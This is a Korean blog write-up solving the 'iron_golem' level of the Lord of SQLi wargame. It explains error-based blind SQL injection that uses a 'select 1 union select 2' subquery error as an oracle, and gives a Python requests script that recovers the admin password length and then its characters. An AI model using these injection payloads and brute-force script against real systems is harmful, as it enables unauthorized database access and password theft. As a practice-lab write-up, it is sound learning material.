
21번째 문제 iron_golem 이다.
코드를 보면 sleep , benchmark 함수가 필터링 되어 있고, pw값을 정확히 구해야 한다.
이전 blind injection 문제들과 다른 점은, Hello admin 과 같은 출력 대신에 에러 페이지를 출력해준다는 점이다.
따라서 에러를 이용해 pw 값을 구해야 한다.
error based injection 을 할 때 가장 흔히 쓰는 함수는
- extractvalue(문자, 쿼리)
- updatexml(null, 쿼리, null)
이다.
위 함수들을 이용해 SQL의 if() 를 사용해서 거짓이면 에러가 뜨도록 쿼리를 짜보았다.
—> if 함수의 사용 포맷은 if(조건, 참, 거짓) 이다.
pw=' or id='admin' and if(length(pw)={},1,extractvalue('1',concat(0x3a,(select 'hihi?'))));-- -
pw=' or id='admin' and if(length(pw)={},1,updatexml(null,(select 'hihi??'),null));-- -
그런데 이 두 개를 넣으면 pw의 길이를 맞춰도 계속 에러가 뜬다.
왜인지 알아보니 애초에 extractvalue, updatexml 함수 자체가 일부러 에러가 나도록 값을 넣었기 때문에 if() 의 참, 거짓 상관 없이 무조건 에러가 뜨는 것이었다.
그래서 if() 의 반환값이 단일값이 아니면 에러가 뜨는 점을 이용했다.
—> if(조건, 참 반환값, 거짓 반환값) 일 때 반환값이 두 개 이상이면 에러가 뜬다.
pw=' or id='admin' and if(length(pw)={},1,(select 1 union select 2));-- -
이 쿼리를 넣으니 pw의 길이를 구할 수 있었다.
그 뒤로는 ascii() 를 이용해 pw값을 구할 수 있었다.
import requests
php = 'h3f5ptfm8b4nsjqe8o23jfji39'
for i in range(1,100):
r = requests.get(url, params={'pw':f"?pw=' or id='admin' and if(length(pw)={i},1,(select 1 union select 2))-- -"},cookies={'PHPSESSID':php})
# print(r.text)
if "Subquery returns more than 1 row" not in r.text:
print(f'password length --> {i}')
break
password = ''
for i in range(1,33):
for j in range(33,200):
r = requests.get(url, params={'pw':f"' or id='admin' and if(ascii(substr(pw,{i},1))='{j}',1,(select 1 union select 2))-- -"},cookies={'PHPSESSID':php})
# print(r.text)
if "Subquery returns more than 1 row" not in r.text:
password+=chr(j)
print(password)
break
print(password)

풀었다!
'Web > LOS' 카테고리의 다른 글
| LOS - hell_fire (0) | 2024.10.18 |
|---|---|
| LOS - dark-eyes (0) | 2024.10.18 |
| LOS - dragon (0) | 2024.10.18 |
| LOS - xavis (0) | 2024.10.18 |
| LOS - nightmare (0) | 2024.10.18 |